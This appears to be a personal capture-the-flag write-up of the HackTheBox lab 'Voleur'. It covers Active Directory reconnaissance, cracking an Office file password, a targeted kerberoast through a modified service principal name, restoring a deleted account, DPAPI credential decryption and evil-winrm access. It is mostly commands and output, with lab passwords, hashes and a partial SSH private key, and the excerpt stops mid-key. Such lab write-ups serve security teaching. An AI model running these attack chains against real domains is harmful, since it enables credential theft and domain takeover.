> For the complete documentation index, see [llms.txt](https://youssefsahnoun.gitbook.io/youssefsahnoun/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://youssefsahnoun.gitbook.io/youssefsahnoun/htb-retired-machines/voleur-htb.md).

# VOLEUR - HTB

<figure><img src="https://900490735-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkFkdoZ9Zx4nBg7cvLHlR%2Fuploads%2F1sYdKL0BXsmGmzNOwbq2%2Fimage.png?alt=media&amp;token=1051c835-f45a-4da4-9c7c-6466a2975b27" alt=""><figcaption></figcaption></figure>

## RECON

### NMAP:

```bash
nmap -sC -sV -oA nmap voleur.htb                            
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-19 17:52 EDT
Nmap scan report for voleur.htb (10.10.11.76)
Host is up (0.056s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-19 23:01:32Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2222/tcp open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2025-09-19T23:01:40
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 1h08m40s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.36 seconds
```

We are presented with initial credentials ryan.naylor / HollowOct31Nyt.

### NETEXEC

#### SMB SIGNING

```bash
nxc smb 10.10.11.76 -u ryan.naylor  -p HollowOct31Nyt    
SMB         10.10.11.76     445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.10.11.76     445    DC               [-] voleur.htb\ryan.naylor:HollowOct31Nyt STATUS_NOT_SUPPORTED
```

Kerberos authentication is enabled. Let’s fix clock skew and try again with “-k”

```bash
sudo ntpdate 10.10.11.76
2025-09-19 19:08:59.017967 (-0400) +4165.347730 +/- 0.017925 10.10.11.76 s1 no-leap
CLOCK: time stepped by 4165.347730

```

```bash
nxc smb 10.10.11.76 -u ryan.naylor  -p HollowOct31Nyt -k
SMB         10.10.11.76     445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.10.11.76     445    DC               [+] voleur.htb\ryan.naylor:HollowOct31Nyt
```

#### LDAP signing:

```bash
nxc ldap 10.10.11.76 -u ryan.naylor  -p HollowOct31Nyt -k
LDAP        10.10.11.76     389    DC               [*] None (name:DC) (domain:voleur.htb) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP        10.10.11.76     389    DC               [+] voleur.htb\ryan.naylor:HollowOct31Nyt 
```

#### USERS:

```bash
nxc smb 10.10.11.76 -u ryan.naylor  -p HollowOct31Nyt -k --users    
SMB         10.10.11.76     445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.10.11.76     445    DC               [+] voleur.htb\ryan.naylor:HollowOct31Nyt 
SMB         10.10.11.76     445    DC               -Username-                    -Last PW Set-       -BadPW- -Description-                                               
SMB         10.10.11.76     445    DC               Administrator                 2025-01-28 20:35:13 11      Built-in account for administering the computer/domain 
SMB         10.10.11.76     445    DC               Guest                         <never>             0       Built-in account for guest access to the computer/domain 
SMB         10.10.11.76     445    DC               krbtgt                        2025-01-29 08:43:06 0       Key Distribution Center Service Account 
SMB         10.10.11.76     445    DC               ryan.naylor                   2025-01-29 09:26:46 0       First-Line Support Technician 
SMB         10.10.11.76     445    DC               marie.bryant                  2025-01-29 09:21:07 16      First-Line Support Technician 
SMB         10.10.11.76     445    DC               lacey.miller                  2025-01-29 09:20:10 16      Second-Line Support Technician 
SMB         10.10.11.76     445    DC               svc_ldap                      2025-01-29 09:20:54 0        
SMB         10.10.11.76     445    DC               svc_backup                    2025-01-29 09:20:36 16       
SMB         10.10.11.76     445    DC               svc_iis                       2025-01-29 09:20:45 0        
SMB         10.10.11.76     445    DC               jeremy.combs                  2025-01-29 15:10:32 16      Third-Line Support Technician 
SMB         10.10.11.76     445    DC               svc_winrm                     2025-01-31 09:10:12 0        
SMB         10.10.11.76     445    DC               [*] Enumerated 11 local users: VOLEUR

```

Active users:

```bash
nxc ldap 10.10.11.76 -u ryan.naylor  -p HollowOct31Nyt -k --active-users
LDAP        10.10.11.76     389    DC               [*] None (name:DC) (domain:voleur.htb) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP        10.10.11.76     389    DC               [+] voleur.htb\ryan.naylor:HollowOct31Nyt 
LDAP        10.10.11.76     389    DC               [*] Total records returned: 11, total 2 user(s) disabled
LDAP        10.10.11.76     389    DC               -Username-                    -Last PW Set-       -BadPW-  -Description-                                               
LDAP        10.10.11.76     389    DC               Administrator                 2025-01-28 15:35:13 11       Built-in account for administering the computer/domain
LDAP        10.10.11.76     389    DC               ryan.naylor                   2025-01-29 04:26:46 0        First-Line Support Technician
LDAP        10.10.11.76     389    DC               marie.bryant                  2025-01-29 04:21:07 16       First-Line Support Technician
LDAP        10.10.11.76     389    DC               lacey.miller                  2025-01-29 04:20:10 16       Second-Line Support Technician
LDAP        10.10.11.76     389    DC               svc_ldap                      2025-01-29 04:20:54 0        
LDAP        10.10.11.76     389    DC               svc_backup                    2025-01-29 04:20:36 16       
LDAP        10.10.11.76     389    DC               svc_iis                       2025-01-29 04:20:45 0        
LDAP        10.10.11.76     389    DC               jeremy.combs                  2025-01-29 10:10:32 16       Third-Line Support Technician
LDAP        10.10.11.76     389    DC               svc_winrm                     2025-01-31 04:10:12 0  
```

#### SMB SHARES:

```bash
 nxc smb 10.10.11.76 -u ryan.naylor  -p HollowOct31Nyt -k --shares
SMB         10.10.11.76     445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.10.11.76     445    DC               [+] voleur.htb\ryan.naylor:HollowOct31Nyt 
SMB         10.10.11.76     445    DC               [*] Enumerated shares
SMB         10.10.11.76     445    DC               Share           Permissions     Remark
SMB         10.10.11.76     445    DC               -----           -----------     ------
SMB         10.10.11.76     445    DC               ADMIN$                          Remote Admin
SMB         10.10.11.76     445    DC               C$                              Default share
SMB         10.10.11.76     445    DC               Finance                         
SMB         10.10.11.76     445    DC               HR                              
SMB         10.10.11.76     445    DC               IPC$            READ            Remote IPC
SMB         10.10.11.76     445    DC               IT              READ            
SMB         10.10.11.76     445    DC               NETLOGON        READ            Logon server share 
SMB         10.10.11.76     445    DC               SYSVOL          READ            Logon server share 
```

We notice 3 interesting shares: IT, HR and Finance but we have read rights only on IT.

Let’s download the IT share. We can do that using the spider plus module in Netexec but make sure to use an appropriate max file size to download everything ( I used 10mb ).

```bash
nxc smb 10.10.11.76 -u ryan.naylor  -p HollowOct31Nyt -k -M spider_plus -o DOWNLOAD_FLAG=true MAX_FILE_SIZE=10000000 EXCLUDE_FILTER=IPC$,NETLOGON,SYSVOL OUTPUT_FOLDER=.
/home/kali/.local/share/pipx/venvs/netexec/lib/python3.12/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import resource_filename
SMB         10.10.11.76     445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.10.11.76     445    DC               [+] voleur.htb\ryan.naylor:HollowOct31Nyt 
SPIDER_PLUS 10.10.11.76     445    DC               [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.10.11.76     445    DC               [*]  DOWNLOAD_FLAG: True
SPIDER_PLUS 10.10.11.76     445    DC               [*]     STATS_FLAG: True
SPIDER_PLUS 10.10.11.76     445    DC               [*] EXCLUDE_FILTER: ['ipc$', 'netlogon', 'sysvol']
SPIDER_PLUS 10.10.11.76     445    DC               [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.10.11.76     445    DC               [*]  MAX_FILE_SIZE: 9.54 MB
SPIDER_PLUS 10.10.11.76     445    DC               [*]  OUTPUT_FOLDER: .
SMB         10.10.11.76     445    DC               [*] Enumerated shares
SMB         10.10.11.76     445    DC               Share           Permissions     Remark
SMB         10.10.11.76     445    DC               -----           -----------     ------
SMB         10.10.11.76     445    DC               ADMIN$                          Remote Admin
SMB         10.10.11.76     445    DC               C$                              Default share
SMB         10.10.11.76     445    DC               Finance                         
SMB         10.10.11.76     445    DC               HR                              
SMB         10.10.11.76     445    DC               IPC$            READ            Remote IPC
SMB         10.10.11.76     445    DC               IT              READ            
SMB         10.10.11.76     445    DC               NETLOGON        READ            Logon server share 
SMB         10.10.11.76     445    DC               SYSVOL          READ            Logon server share 
SPIDER_PLUS 10.10.11.76     445    DC               [+] Saved share-file metadata to "./10.10.11.76.json".
SPIDER_PLUS 10.10.11.76     445    DC               [*] SMB Shares:           8 (ADMIN$, C$, Finance, HR, IPC$, IT, NETLOGON, SYSVOL)
SPIDER_PLUS 10.10.11.76     445    DC               [*] SMB Readable Shares:  4 (IPC$, IT, NETLOGON, SYSVOL)
SPIDER_PLUS 10.10.11.76     445    DC               [*] SMB Filtered Shares:  3
SPIDER_PLUS 10.10.11.76     445    DC               [*] Total folders found:  1
SPIDER_PLUS 10.10.11.76     445    DC               [*] Total files found:    1
SPIDER_PLUS 10.10.11.76     445    DC               [*] File size average:    16.5 KB
SPIDER_PLUS 10.10.11.76     445    DC               [*] File size min:        16.5 KB
SPIDER_PLUS 10.10.11.76     445    DC               [*] File size max:        16.5 KB
SPIDER_PLUS 10.10.11.76     445    DC               [*] File unique exts:     1 (xlsx)
SPIDER_PLUS 10.10.11.76     445    DC               [*] Downloads successful: 1
SPIDER_PLUS 10.10.11.76     445    DC               [+] All files processed successfully.
```

I would recommend examining it with smbclient because you never know what files you missed with the max file size flag. ( I had trouble with smbclient so I just used spider plus module in netexec, you can also use IMPACKET’s smbclient.py).

```bash
/10.10.11.76/IT/First-Line Support]
└─$ ls
Access_Review.xlsx
                      
```

<figure><img src="https://900490735-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkFkdoZ9Zx4nBg7cvLHlR%2Fuploads%2F6xoc8Dww9wphh9vLZjKY%2Fimage%201.png?alt=media&amp;token=b3f4321a-9149-4f24-b7d7-4fcb48249f58" alt=""><figcaption></figcaption></figure>

## EXPLOIT

### USER:

The office file is password protected. Let’s try to convert it from office file to a crackable hash with office2john.

```bash
office2john Access_Review.xlsx > hash.txt 
```

```bash
cat hash.txt                       
Access_Review.xlsx:$office$*2013*100000*256*16*a80811402788c037b50df976864b33f5*500bd7e833dffaa28772a49e987be35b*7ec993c47ef39a61e86f8273536decc7d525691345004092482f9fd59cfa111c
```

Make sure to remove the “Access\_Review\.xlsx:” at the start of the file.

```bash
john --format=office --wordlist=/usr/share/wordlists/rockyou.txt hash.txt  
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 128/128 AVX 4x / SHA512 128/128 AVX 2x AES])
Cost 1 (MS Office version) is 2013 for all loaded hashes
Cost 2 (iteration count) is 100000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
football1        (?)     
1g 0:00:00:04 DONE (2025-09-19 19:50) 0.2040g/s 160.0p/s 160.0c/s 160.0C/s football1..lolita
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```

Password is “football1”.

<figure><img src="https://900490735-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkFkdoZ9Zx4nBg7cvLHlR%2Fuploads%2FksY8WdcjgILp0YugjhhS%2Fimage%202.png?alt=media&amp;token=9b61ec7c-9ec7-4740-957f-7cb3fa09b254" alt=""><figcaption></figcaption></figure>

We find the Todd.Wolfe password “NightT1meP1dg3on14” and notice that the account is actually deleted. We also see 2 other passwords for LDAP service and IIS service. LDAP→P/W - M1XyC9pW7qT5Vn

IIS → P/W - N5pXyW1VqM7CZ8

Let’s check if we can restore the account with RYAN. Using bloodyAD we check for writeable objects and make sure to include deleted objects.

```bash
bloodyAD -k -d voleur.htb -u ryan.naylor  --host dc.voleur.htb get writable --include-del

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=voleur,DC=htb
permission: WRITE

distinguishedName: CN=Ryan Naylor,OU=First-Line Support Technicians,DC=voleur,DC=htb
permission: WRITE

```

We find nothing.

We investigate bloodhound:

<figure><img src="https://900490735-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkFkdoZ9Zx4nBg7cvLHlR%2Fuploads%2FDk9rNrR15xqD9CLhWQDX%2Fimage%203.png?alt=media&amp;token=18f0869a-e452-462d-89d7-85d0950a9b8f" alt=""><figcaption></figcaption></figure>

The LDAP service is a member of the group RESTORE USERS which has genericwrite on Lacey. LDAP service has also WriteSPN right on WINRM service.

The WrtieSPN rights makes it possible to perform a **targeted kerberoast attack** on the winrm service account and also on lacey since we have genericWrite.

First we need to change the spn to something that starts with some service like “http/….”.

Then we can perform the kerberoast attack with netexec as follows:

```bash
bloodyAD -k -d voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn --host dc.voleur.htb get writable                                                                                

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=voleur,DC=htb
permission: WRITE

distinguishedName: OU=Second-Line Support Technicians,DC=voleur,DC=htb
permission: CREATE_CHILD; WRITE

distinguishedName: CN=Lacey Miller,OU=Second-Line Support Technicians,DC=voleur,DC=htb
permission: CREATE_CHILD; WRITE

distinguishedName: CN=svc_ldap,OU=Service Accounts,DC=voleur,DC=htb
permission: WRITE

distinguishedName: CN=svc_winrm,OU=Service Accounts,DC=voleur,DC=htb
permission: WRITE

```

```bash
bloodyAD -k -d voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn --host dc.voleur.htb set object "CN=svc_winrm,OU=Service Accounts,DC=voleur,DC=htb" servicePrincipalName -v 'http/kerb'
[+] CN=svc_winrm,OU=Service Accounts,DC=voleur,DC=htb's servicePrincipalName has been updated

```

```bash
nxc ldap 10.10.11.76 -u svc_ldap -p M1XyC9pW7qT5Vn -k --kerberoasting kerberoast.txt                                                                                      
LDAP        10.10.11.76     389    DC               [*] None (name:DC) (domain:voleur.htb) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP        10.10.11.76     389    DC               [+] voleur.htb\svc_ldap:M1XyC9pW7qT5Vn 
LDAP        10.10.11.76     389    DC               [*] Skipping disabled account: krbtgt
LDAP        10.10.11.76     389    DC               [*] Total of records returned 1
LDAP        10.10.11.76     389    DC               [*] sAMAccountName: svc_winrm, memberOf: CN=Remote Management Users,CN=Builtin,DC=voleur,DC=htb, pwdLastSet: 2025-01-31 04:10:12.398769, lastLogon: 2025-01-29 10:07:32.711487
LDAP        10.10.11.76     389    DC               $krb5tgs$23$*svc_winrm$VOLEUR.HTB$voleur.htb\svc_winrm*$5c56273873065f0e5c5f8e90f1f64f70$cfc37667d2c01de5b6d214f618f341556ef17f565b89d494f0c9bb74c2ede0b4959b42a460d985ce356719f79ef06e62bc8ed63d9e322c2c52b458e5c14afc243d3f6a32e25e33a0f71f4f0b28ccc546879f0cd4af8fb8e79461bda1ae97789e378de1a1015c7ba73439d74be420a077edae4c2926f185bafc94a5556d904221c509240a66217076b4469893a613e56e93eb44856146f43d43610c056782a6c19d9d14b6a812b21ec000d5bb5c61f4fb56bb4bc9c8641d9eef098298407ade4af97cb4f763088574b659b0aeea8826753422068af480bef45be60215183bea05bf67b098056ae4602f7b5a0394f224be279e7aab7f3773aac88c106f167fe686dea7b30218e4442df23db7fbd7026e5f275f8c53a99710feea9be63dfdf6a394bb85c4e72e110995109bd0a2044ccd39319520f87fa1d0c5eb03d34a33b9eb73123fa1c53a8fecf8955b4da2e173e0e3a5c21e81b061dff8521a4d0ab396c38be453fb894d0e9aacc82623881d2c202066694aff6c7a61dbb6680536f8b63a3bde79e704314ed57d712203a7852914470b09713da742d934d5dee79f6534758d05d001226336f8115e47ca45f3f1494e1d64760ab518dcc3e094494aa8a26e14469a2f8bd3c4c15f89ab9f1051ab05a2ae2715e996a58c03709d94551df1d65bffce0c2d45afbefa9d45dd5556cb0eb6726f6b42458882b6caeda5cb139897ab0165c566adeea28f99bb5fbbc9807d3672fc6456185907cfe39fa50dd85d01cff539976175312de619db9c0e666b8b48fa162ed6443f0a550820b6fcd17f70c3b6a8963074563ac570eb4c81ecc6cf87fa157016366fe269012067ae08e1c6dbd110399cf109ad0d50846bf84a23d5e813a2d50a528e80cb6d3d47dc6b793a2003473d9a6c87348cad2538fff7ee2871ac8a76d5518d0a06cb41b6b1f8b4cec6e0f972446f68dd45a2a62dda66d12e0d311a2a5dd7b4cad5e596efb686e748b89166597a417f8a7888d5330ca52d9dccdd0549dc3869bc6a332e8991c2bc2f480fb064e55234bd89f48a007f778737309c43c6f7d8a27bdbdb4af63bd73799bdc6c09d8f419c62e289c45db6ec7134f00b626d1f670c49b5ffaa77bc14e0190e00e61267b22f0357ec9e78e91c5b6b140a1813ee7d41235284e75485ad4ffd1e8633fd75db2be6255db3c7e6ff02b61c3d81a7eca7b4e8dd41a21aee9255aadfa6aa74ad984d2a1dde05bd6036c1d46ebe41c9bc25e2df031cf062c46fd11fc5d9886bd472abafe6f395842fc2e3e8f9128d29ba90c9ce1bf091926f820f73ff7e8fd715adf5d0efa49804db7a71d70a91075494ef5dffa4b43fbe5ca0ad37aec3fec363635b14daef3e503ef4b22eafba42f092afc802451527870cdb47428d6a80cfa7376cbfdb978755bba221e9a62fb75452b14736f110774325e325af7b604ff385165f7ea10265cb370b42199e5929c5
```

We can crack the krb5tgs hash with John.

```bash
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
AFireInsidedeOzarctica980219afi (?)     
1g 0:00:00:06 DONE (2025-09-19 20:56) 0.1636g/s 1877Kp/s 1877Kc/s 1877KC/s AHANACK6978012..AFITA4162
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

We extract a tgt ticket with netexec:

```bash
nxc smb 10.10.11.76 -u svc_winrm -p AFireInsidedeOzarctica980219afi -k --generate-tgt winrm
SMB         10.10.11.76     445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.10.11.76     445    DC               [+] voleur.htb\svc_winrm:AFireInsidedeOzarctica980219afi 
SMB         10.10.11.76     445    DC               [+] TGT saved to: winrm.ccache
SMB         10.10.11.76     445    DC               [+] Run the following command to use the TGT: export KRB5CCNAME=winrm.ccache

export KRB5CCNAME=winrm.ccache

```

Launch evil-winrm with that ticket ( dont forget to specify kerberoas authentication, you have to configure the /etc/krb5.conf file first).

```bash
evil-winrm -i dc.voleur.htb -r VOLEUR.HTB 
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_winrm\Documents> 
```

And that’s the user flag.

### ROOT:

Remember that LDAP service is part of the RESTORE USERS account so it might has the rights to restore our deleted user Todd Wolfe. To find out we need to perform the bloodyAD get writable command again but with the —include-del option:

```bash
bloodyAD -k -d voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn --host dc.voleur.htb get writable  --include-del                                                                              

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=voleur,DC=htb
permission: WRITE

distinguishedName: OU=Second-Line Support Technicians,DC=voleur,DC=htb
permission: CREATE_CHILD; WRITE

distinguishedName: CN=Lacey Miller,OU=Second-Line Support Technicians,DC=voleur,DC=htb
permission: CREATE_CHILD; WRITE

distinguishedName: CN=svc_ldap,OU=Service Accounts,DC=voleur,DC=htb
permission: WRITE

distinguishedName: CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted Objects,DC=voleur,DC=htb
permission: CREATE_CHILD; WRITE

distinguishedName: CN=svc_winrm,OU=Service Accounts,DC=voleur,DC=htb
permission: WRITE

```

And voila he’s there. So let’s go ahead and restore him and see what we can do.

```bash
bloodyAD -k -d voleur.htb -u svc_ldap -p M1XyC9pW7qT5Vn --host dc.voleur.htb set restore Todd.Wolfe                                                                              

[+] Todd.Wolfe has been restored successfully under CN=Todd Wolfe,OU=Second-Line Support Technicians,DC=voleur,DC=htb

```

We can collect more bloodhound data and analyze it.

```bash
nxc ldap 10.10.11.76 -u todd.wolfe -p NightT1meP1dg3on14 -k --bloodhound --collection ALL --dns-server 10.10.11.76
LDAP        10.10.11.76     389    DC               [*] None (name:DC) (domain:voleur.htb) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP        10.10.11.76     389    DC               [+] voleur.htb\todd.wolfe:NightT1meP1dg3on14 
LDAP        10.10.11.76     389    DC               Resolved collection methods: trusts, objectprops, rdp, group, session, acl, psremote, container, dcom, localadmin
LDAP        10.10.11.76     389    DC               Using kerberos auth without ccache, getting TGT
LDAP        10.10.11.76     389    DC               Done in 0M 20S
LDAP        10.10.11.76     389    DC               Compressing output into /home/kali/.nxc/logs/DC_10.10.11.76_2025-09-20_002210_bloodhound.zip
```

I found nothing interesting in bloodhound so I decided to go back and analyze the IT share since Todd is a second line tech.

It took a lot of time downloading the share with Spider\_plus module in Netexec so I just used IMPACKET’s smbclient.py.

```bash
export KRB5CCNAME=~/HTB/voleur/todd.ccache
```

```bash
smbclient.py dc.voleur.htb -k                                          
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
#
```

Inside the SMB share we find dpapi creds and the master key.

```bash
# cd credentials
# ls
drw-rw-rw-          0  Wed Jan 29 10:13:09 2025 .
drw-rw-rw-          0  Wed Jan 29 10:13:09 2025 ..
-rw-rw-rw-        398  Wed Jan 29 08:13:50 2025 772275FAD58525253490A9B0039791D3
# get 772275FAD58525253490A9B0039791D3
# cd ../Protect
# ls
drw-rw-rw-          0  Wed Jan 29 10:13:09 2025 .
drw-rw-rw-          0  Wed Jan 29 10:13:09 2025 ..
-rw-rw-rw-         24  Wed Jan 29 07:53:08 2025 CREDHIST
drw-rw-rw-          0  Wed Jan 29 10:13:09 2025 S-1-5-21-3927696377-1337352550-2781715495-1110
-rw-rw-rw-         76  Wed Jan 29 07:53:08 2025 SYNCHIST
# cd S-1-5-21-3927696377-1337352550-2781715495-1110 
# ls
drw-rw-rw-          0  Wed Jan 29 10:13:09 2025 .
drw-rw-rw-          0  Wed Jan 29 10:13:09 2025 ..
-rw-rw-rw-        740  Wed Jan 29 08:09:25 2025 08949382-134f-4c63-b93c-ce52efc0aa88
-rw-rw-rw-        900  Wed Jan 29 07:53:08 2025 BK-VOLEUR
-rw-rw-rw-         24  Wed Jan 29 07:53:08 2025 Preferred
# get 08949382-134f-4c63-b93c-ce52efc0aa88 
# get BK-VOLEUR 

```

Now we can extract the hex key from the masterkey 08949382-134f-4c63-b93c-ce52efc0aa88 and use it to decrypt the credentials 772275FAD58525253490A9B0039791D3.

```bash
python3 dpapi.py masterkey -file ../../voleur/08949382-134f-4c63-b93c-ce52efc0aa88 -password 'NightT1meP1dg3on14' -sid S-1-5-21-3927696377-1337352550-2781715495-1110 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 08949382-134f-4c63-b93c-ce52efc0aa88
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83

```

```bash
 python3 dpapi.py credential -file ../../voleur/772275FAD58525253490A9B0039791D3 \ 
  -key 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2025-01-29 12:55:19
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=Jezzas_Account
Description : 
Unknown     : 
Username    : jeremy.combs
Unknown     : qT3V9pLXyN7W4m

```

We get jeremy.combs creds.

We can launch an evil-winrm session with jeremy and access the /IT/Third-line support folder.

```bash
*Evil-WinRM* PS C:\IT\Third-Line Support> ls

    Directory: C:\IT\Third-Line Support

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         1/30/2025   8:11 AM                Backups
-a----         1/30/2025   8:10 AM           2602 id_rsa
-a----         1/30/2025   8:07 AM            186 Note.txt.txt

*Evil-WinRM* PS C:\IT\Third-Line Support> type Note.txt.txt
Jeremy,

I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.

Please see what you can set up.

Thanks,

Admin
*Evil-WinRM* PS C:\IT\Third-Line Support> cd backups
*Evil-WinRM* PS C:\IT\Third-Line Support\backups> ls
Access to the path 'C:\IT\Third-Line Support\backups' is denied.
At line:1 char:1
+ ls
+ ~~
    + CategoryInfo          : PermissionDenied: (C:\IT\Third-Line Support\backups:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

*Evil-WinRM* PS C:\> Get-Content "C:\IT\Third-Line Support\id_rsa"
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAqFyPMvURW/qbyRlemAMzaPVvfR7JNHznL6xDHP4o/hqWIzn3dZ66
P2absMgZy2XXGf2pO0M13UidiBaF3dLNL7Y1SeS/DMisE411zHx6AQMepj0MGBi/c1Ufi7
rVMq+X6NJnb2v5pCzpoyobONWorBXMKV9DnbQumWxYXKQyr6vgSrLd3JBW6TNZa3PWThy9
wrTROegdYaqCjzk3Pscct66PhmQPyWkeVbIGZAqEC/edfONzmZjMbn7duJwIL5c68MMuCi
9u91MA5FAignNtgvvYVhq/pLkhcKkh1eiR01TyUmeHVJhBQLwVzcHNdVk+GO+NzhyROqux
haaVjcO8L3KMPYNUZl/c4ov80IG04hAvAQIGyNvAPuEXGnLEiKRcNg+mvI6/sLIcU5oQkP
JM7XFlejSKHfgJcP1W3MMDAYKpkAuZTJwSP9ISVVlj4R/lfW18tKiiXuygOGudm3AbY65C
lOwP+sY7+rXOTA2nJ3qE0J8gGEiS8DFzPOF80OLrAAAFiIygOJSMoDiUAAAAB3NzaC1yc2
EAAAGBAKhcjzL1EVv6m8kZXpgDM2j1b30eyTR85y+sQxz+KP4aliM593Weuj9mm7DIGctl
1xn9qTtDNd1InYgWhd3SzS+2NUnkvwzIrBONdcx8egEDHqY9DBgYv3NVH4u61TKvl+jSZ2
9r+aQs6aMqGzjVqKwVzClfQ520LplsWFykMq+r4Eqy3dyQVukzWWtz1k4cvcK00TnoHWGq
go85Nz7HHLeuj4ZkD8lpHlWyBmQKhAv3nXzjc5mYzG5+3bicCC+XOvDDLgovbvdTAORQIo
JzbYL72FYav6S5IXCpIdXokdNU8lJnh1SYQUC8Fc3BzXVZPhjvjc4ckTqrsYWmlY3DvC9y
jD2DVGZf3OKL/NCBtOIQLwECBsjbwD7hFxpyxIikXDYPpryOv7CyHFOaEJDyTO1xZXo0ih
34CXD9VtzDAwGCqZALmUycEj/SElVZY+Ef5X1tfLSool7soDhrnZtwG2OuQpTsD/rGO/q1
